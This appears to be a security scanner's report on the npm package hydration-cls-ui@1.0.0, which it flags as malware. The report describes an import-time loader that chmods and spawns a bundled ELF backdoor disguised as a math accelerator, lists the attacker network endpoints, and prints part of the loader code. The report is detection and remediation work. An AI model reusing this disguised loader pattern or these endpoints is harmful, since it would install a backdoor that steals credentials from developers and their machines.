hydration-cls-ui
Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store.
This report shows the evidence for hydration-cls-ui@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe import-time executable is concrete, unrelated to the package purpose, and contains explicit malware capabilities. No install hook is needed for impact because ordinary application import triggers it.
Static reason
No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Importing hydration-cls-ui at runtime.
Impact
Remote command execution, credential theft, data exfiltration, and persistence.
Mechanism
import-time detached execution of a bundled malicious ELF
Attack narrative
A normal import runs dist/index.mjs, which verifies, chmods, and detached-spawns calc.dat. Static inspection of that ELF shows a Linux backdoor with network/TLS support, payload download and execution, SSH-key and browser-credential collection, file upload, shell commands, and several persistence mechanisms. The JavaScript date functions only use pure JS and do not require this binary.
AI rationale
The import-time executable is concrete, unrelated to the package purpose, and contains explicit malware capabilities. No install hook is needed for impact because ordinary application import triggers it.
Evidence
package.jsondist/index.mjsdist/internal/calc.datdist/internal/daymath.mjsdist/store.mjs
Network endpoints3
217.60.77.63api.ipify.orglitterbox.catbox.moe/resources/internals/api.php
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Root import asynchronously chmods and detached-spawns calc.dat.
- calc.dat is an ELF binary, not a math accelerator, with TLS/socket, shell, payload-download, credential-harvesting, and persistence capabilities.
- The binary contains commands to collect SSH keys and browser credential databases and upload files.
- The binary supports remote ELF/shellcode staging and execution plus cron, shell-profile, systemd, and XDG persistence.
Evidence against
- package.json has no npm lifecycle scripts.
- The optional store module only writes caller-provided JSON under the system temp directory.
Behavioral surface
ChildProcessCryptoFilesystemShell
Source & flagged code
4 flagged · loading sourcedist/internal/calc.datView file
•path = dist/internal/calc.dat
kind = native_binary
sizeBytes = 63616
magicHex = [redacted]
Medium
dist/index.mjsView file
•matchType = malicious_source_fingerprint_signature
signature = 5501fa102f254897
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = dim-hydration-ui@1.0.0
matchedPath = dist/index.mjs
matchedIdentity = npm:ZGltLWh5ZHJhdGlvbi11aQ:1.0.0
similarity = 1.000
shingleOverlap = 2
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
dist/index.mjsView on unpkg24(async () => {
try {
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const binaryPath = path.join(__dirname, 'internal', 'calc.dat');
if (!fs.existsSync(binaryPath)) {
console.warn('Native accelerator not found. Falling back to JS implementation.');
return;
}
try {
fs.chmodSync(binaryPath, 0o755);
Findings
3 High1 Medium1 Low
HighKnown Malware Source Fingerprint Signaturedist/index.mjs
HighAi Review Evidencedist/index.mjs
HighAi Review Evidencedist/index.mjs
MediumShips Native Binarydist/internal/calc.dat
LowFilesystem
Affected versions and remediation
This report applies to hydration-cls-ui@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing hydration-cls-ui@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.